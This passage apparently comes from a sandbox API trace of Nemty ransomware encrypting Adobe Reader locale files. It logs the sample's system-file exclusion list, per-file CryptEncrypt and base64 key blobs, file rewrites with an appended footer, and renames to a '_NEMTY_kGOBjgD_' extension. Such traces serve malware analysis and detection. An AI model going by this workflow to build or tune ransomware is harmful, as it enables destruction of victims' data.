pszString="zzTorfrtmYKwRYVkjtEziDMwQcv6/xeDlcUoJLp97mG0W2Yqg0W8r/piPyUORw6i\r\nzHEyd3ajvblRjQsgd/2aoisnHl0UBXPkTA8wDeOGHHzGOUhwIkZpQ+gosa1lG6wB\r\nSGwMzNdjQTI3HRNGhP8+Frl02r5zJGPrP+429spZDR8E6TNjM16qhxyajLyfCS7Z\r\nSgSsSE72d+JjJ1r5LOAfhKCj2rVez+NsPgC3aA6EVVc2tuRbxpHAxxMXO4xqypLf\r\nWUsLEF7r3t64y1I7CplxBW05LBwh/V6b4NjCTY6FOjV2pLba6DWzTcRUMvrwubH+\r\nGYfGH94GWTxfVRd8kD3KqA==\r\n", pcchString=0x653e5dc) returned 1 [0179.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Checkers.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\checkers.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.415] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=88576) returned 1 [0179.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15a00) returned 0x6352c48 [0179.415] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.415] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x15a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x15a00, lpOverlapped=0x0) returned 1 [0179.422] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.422] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x15a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x15a00, lpOverlapped=0x0) returned 1 [0179.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.423] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=88576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15a00 [0179.423] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.423] CloseHandle (hObject=0x2e8) returned 1 [0179.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.423] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.423] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Checkers.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\checkers.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Checkers.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\checkers.kor._nemty_kgobjgd_")) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.424] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.KOR", cAlternateFileName="")) returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2=".") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="..") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="...") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="windows") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="rsa") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="NTDETECT.COM") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="ntldr") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="MSDOS.SYS") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="IO.SYS") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="boot.ini") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="boot.ini") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="ntuser.dat") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="desktop.ini") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="CONFIG.SYS") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="RECYCLER") returned -1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="bootmgr") returned 1 [0179.424] lstrcmpiW (lpString1="DigSig.KOR", lpString2="programdata") returned -1 [0179.425] lstrcmpiW (lpString1="DigSig.KOR", lpString2="appdata") returned 1 [0179.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.425] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.KOR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.KOR", lpUsedDefaultChar=0x0) returned 10 [0179.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.425] Sleep (dwMilliseconds=0x5) [0179.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e984bf0, dwHighDateTime=0x1d561e8)) [0179.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e984bf0, dwHighDateTime=0x1d561e8)) [0179.429] GetLastError () returned 0x0 [0179.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.429] GetLastError () returned 0x0 [0179.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.429] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.429] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.429] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Vuag/GmAYMy/MBt/OShemFKZcTxY4LPwHLtqXy4RvF3uruzME9rHfgNzyKmNgb9U\r\nQGbZ7tnijgH1xDmMYdlWNmTvmwajJAiYm40BBaVLos/kGahEvlxBSM1fh5710nsD\r\nQmgvAsqooEu5VmR2JayUKOZlbB7Xk+JO3sjBFSGy76SjBvRXb961SJD5EDFrGFHQ\r\nZI7YpyYaWIfCqtRqD05qNfMPpvoLVZ63r8VXn/z9O9i7DYed+THGE6W3VmK0G7mk\r\nmJsUdh985xTjbhdRAjxyee3w2hGJmkulH3+DIIKJll9adux1JUHs8foZ9Y1N8F/W\r\nTxKp5bHIF7W4w52UCNTCfg==\r\n", pcchString=0x653e5dc) returned 1 [0179.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DigSig.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\digsig.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.430] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=87040) returned 1 [0179.431] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15400) returned 0x6352c48 [0179.431] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.431] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x15400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x15400, lpOverlapped=0x0) returned 1 [0179.440] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.440] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x15400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x15400, lpOverlapped=0x0) returned 1 [0179.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.440] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=87040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15400 [0179.440] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.440] CloseHandle (hObject=0x2e8) returned 1 [0179.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.441] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DigSig.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\digsig.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DigSig.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\digsig.kor._nemty_kgobjgd_")) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.441] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.KOR", cAlternateFileName="")) returned 1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2=".") returned 1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="..") returned 1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="...") returned 1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="windows") returned -1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="rsa") returned -1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="NTDETECT.COM") returned -1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="ntldr") returned -1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="MSDOS.SYS") returned -1 [0179.441] lstrcmpiW (lpString1="DVA.KOR", lpString2="IO.SYS") returned -1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="boot.ini") returned 1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="boot.ini") returned 1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="ntuser.dat") returned -1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="desktop.ini") returned 1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="CONFIG.SYS") returned 1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="RECYCLER") returned -1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="bootmgr") returned 1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="programdata") returned -1 [0179.442] lstrcmpiW (lpString1="DVA.KOR", lpString2="appdata") returned 1 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.KOR", lpUsedDefaultChar=0x0) returned 7 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.KOR", lpUsedDefaultChar=0x0) returned 7 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.KOR", lpUsedDefaultChar=0x0) returned 7 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0179.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.KOR", lpUsedDefaultChar=0x0) returned 7 [0179.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.442] Sleep (dwMilliseconds=0x5) [0179.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9aad50, dwHighDateTime=0x1d561e8)) [0179.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e9aad50, dwHighDateTime=0x1d561e8)) [0179.445] GetLastError () returned 0x0 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.445] GetLastError () returned 0x0 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.445] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.445] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.445] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.445] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: 